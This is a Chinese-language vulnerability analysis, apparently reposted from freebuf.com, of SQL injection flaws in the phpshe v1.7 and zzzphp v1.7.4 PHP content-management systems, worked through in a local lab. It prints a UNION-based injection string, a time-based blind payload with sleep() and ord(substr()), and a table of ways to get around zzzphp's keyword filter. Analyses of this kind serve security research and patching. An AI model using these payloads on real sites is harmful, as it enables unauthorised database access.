phpshe v1.7前台sql注入漏洞分析
环境:phpstudy2016: nginx+mysql+php5.6.27
phpstorm+seay
1.漏洞存在点:
使用seay源代码审计系统即可看到sql注入点在文件C:\phpstudy\WWW\phpshe1.7\include\class\db.class.php中的第214行
public function pe_select($table, $where = '', $field = '*')
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1");
}
//sql语句直接进行拼接,因此$table很有可能是一个注入点
2.回到comon.php,这是该cms的入口页面,包含了一些模板的路径,访问网站的模式,同时对客户端到服务器的一些变量修改。
在C:\phpstudy\WWW\phpshe1.7\common.php的37行,会对get,post方式提交的参数加上-g或_p。
3.此时看到了pe_stripslashes函数,该函数是为了去除传入参数中的\,在\phpshe1.7\include\function\global.func.php下的第455行
4.寻找sql过滤函数
global.func.php文件中是对全局函数的声明,我们可以在此页面寻找sql注入过滤函数
5.在phpshe1.7\include\plugin\payment\alipay\pay.php
(1)在第34行对变量order_id进行了过滤,然后将其传入pe_select函数
$order_id = pe_dbhold($_g_id); $order = $db->pe_select(order_table($order_id), array('order_id'=>$order_id));
(2)查看order_table函数,此函数是获取订单对应表名的一个函数
function order_table($id) { if (stripos($id, '_') !== false) { $id_arr = explode('_', $id); return "order_{$id_arr[0]}"; } else { return "order"; } }
(3)再次进入pe_select函数,在\phpshe1.7\include\class\db.class.php第214行,这时我们回到了第一步
public function pe_select($table, $where = '', $field = '*') { //处理条件语句 $sqlwhere = $this->_dowhere($where); return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1");
//.dbpre是一个定义的常量,为数据库前缀pe_
用phpstorm更能清晰的看到整个过程(用burp抓包一个购买产品付款时使用支付宝付款的数据包,将url复制到phpstorm的调试url中)
由第二步可知查询的表名是pe_order_+(传递进来的id),在数据库中查询到这个表是pe_order_pay,只有这个符合条件
6.构造payload
在phpstorm调试时,发现最终执行的sql语句是
select * from `pe_order_1234201107160318059` where `order_id` = '1234201107160318059_' limit 1
可以将传入的id值构造为pay` where 1=1 union select 404404,2,3,4,5,6,7,8,9,10,11,12--+_
#`pe_order_pay`
#pe_order_pay表内有十二个字段值,因此要构造成上述的内容
zzzphp介绍
zzzphp是一款开源的cms建站系统
环境准备
zzzphpv1.74
phpstudy2016 Nginx+Mysql+php5.6.27
win7系统
sql注入点分析
php文件路径:C:\phpstudy\WWW\zzzphp1.7.4\admin\index.php第九行存在可控参数cid
switch ($module) { case 'aboutlist': break; case 'content': $sid=geturl('sid'); $cid=geturl('cid'); $stype=geturl('stype'); if($cid){ $data=db_load_sql_one('select *,b.sid,b.s_type from [dbpre]content a,[dbpre]sort b where b.sid=a.c_sid and cid='.$cid); $GLOBALS['stype']=$data['s_type']; $GLOBALS['sid']=$data['sid'];
可以看到当moudle模块为content时,会使用geturl函数获取url参数中的sid,cid等,我们把重点放到cid中,先分析geturl函数,下边用注释对php代码进行了分析
function geturl($name='') { $s = $_SERVER[ 'REQUEST_URI' ]; //获取url $s = danger_key($s); //过滤危险字符,分析此函数,后期注入时要考虑不能使用哪些字符 $s = cright( $s, 1 ) == '/' ? rtrim( $s, '/' ) : $s; $get = array(); $s = parse_url( $s ); //解析一个 URL 并返回一个关联数组 $s = isset( $s[ 'query' ] ) ? $s[ 'query' ] : ''; $arr = explode( '/', $s ); //使用/分割,说明不能使用/ $arr2 = array(); $i = 0; $last = str_replace( '&', '=', array_pop( $arr ) ); //&符会被替换成=,所以不能使用& if ( strpos( $last, '=' ) !== FALSE ) { $arr1 = explode( '=', $last ); //=不能使用 foreach ( $arr1 as $key => $value ) { if ( $key < count( $arr1 ) - 1 ) $arr2[ $value ] = $arr1[ $key + 1 ]; } if( $name!=''){ if(isset($arr2[ $name ])) return $arr2[ $name ]; }else{ return $arr2; } }else{ return ''; } }
从以上代码中得知danger_key函数会对url中传入的参数进行过滤,继续跟进
另外需要注意的是此段代码使用了parse_url函数,此函数会尝试尽量正确解析url,无效字符用_来代替。parse_url不能使用空格,=。因此在注入的过程中需要使用Burpsuite,使用浏览器会被编码
function danger_key($s) { $danger=array('php','preg','server','chr','decode','html','md5','post','get','file','cookie','session','sql','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','_'); $s = str_ireplace($danger,"*",$s); $key=array('php','preg','decode','post','get','cookie','session','$','exec','ascii','eval','replace'); foreach ($key as $val){ if(strpos($s,$val) !==false){ error('很抱歉,执行出错,发现危险字符【'.$val.'】'); } } return $s; }
可以看到这个坏字符过滤函数对很多参数进行了过滤,如sql注入需要使用到的char,union _ ascii
sql查询的流程
1.先从C:\phpstudy\WWW\zzzphp1.7.4\admin\index.php中的17行查看
$data=db_load_sql_one('select *,b.sid,b.s_type from [dbpre]content a,[dbpre]sort b where b.sid=a.c_sid and cid='.$cid);
2.再从C:\phpstudy\WWW\zzzphp1.7.4\inc\zzz_db.php中的99行查看
function db_load_sql_one( $sql, $d = NULL ) { $db = $_SERVER[ 'db' ]; $d = $d ? $d : $db; if ( !$d ) return FALSE; $sql = str_replace( '[dbpre]', DB_PRE, $sql ); $arr = $d->sql_find_one( $sql );
3.最后到C:\phpstudy\WWW\zzzphp1.7.4\inc\zzz_db_mysql.php中第44行,通过query执行了sql语句
public function sql_find_one($sql) { $query = $this->query($sql);
4.我们可以使用phpstorm添加一行echo $sql;代码来查看执行的sql语句,以便构造payload
构造payload
回顾过滤危险参数,以及parse_url函数。
不能使用的字符 | 代替方法 |
ascii | 可以使用ord代替 |
= | 使用<>猜测 |
空格 | 可以使用( ) |
/ | 暂时用不到 |
由于没有回显,所以使用时间盲注进行测试
需要用到substr截取字符串函数,以及sleep()函数
用Burp抓包修改cid参数/zzzphp1.7.4/admin/?module=content&cid=payload
payload为:sleep(0.1*(ord(substr(user(),1,1))>65))
substr(user(),1,1)用substr函数切割字符串user(),返回从第一位开始返回一个字符
(ord(substr(user(),1,1))>65)中ord函数返回切割得到字符的ASCII码。
如果该ASCII码大于65,则该语句返回1,sleep(0.1*1),sql注入执行正确,会有时间延迟;
如果小于65,则返回0,sleep(0.1*0),sleep(0)没有延迟
下边用Burp抓包进行测试
payload: sleep(0.1*(ord(substr(user(),1,1))>100))
payload: sleep(0.1*(ord(substr(user(),1,1))<100))
接下来可以使用二分法来尝试查询用户名
第一个字符的ascii码大于113有时间延迟,大于114却没有,说明第一个字符的ascii是r。
尝试后是114,110,110,116,查询ascii码表得出用户名是root
来源:freebuf.com 2020-11-07 19:48:41 by: ruanlia
请登录后发表评论
注册